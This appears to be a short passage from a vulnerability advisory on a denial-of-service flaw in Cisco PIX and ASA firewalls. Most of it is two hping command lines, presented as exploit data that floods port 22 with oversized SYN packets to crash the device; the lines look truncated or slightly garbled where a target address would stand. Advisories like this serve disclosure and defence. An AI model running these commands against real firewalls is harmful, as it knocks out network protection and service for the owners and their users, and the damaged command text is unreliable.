An attacker can use readily available network utilities to exploit these issues.

The following example data is sufficient to exploit the denial-of-service issue affecting PIX and ASA:

/*Utilize 1550 blocks on an ASA to trigger a crash...*/
hping --fast -p 22 -w 1518 -S -d 1480 -a

/* Trigger the vuln a bit faster */
hping --fast -p 22 -w 1518 -S -d 26201 .a
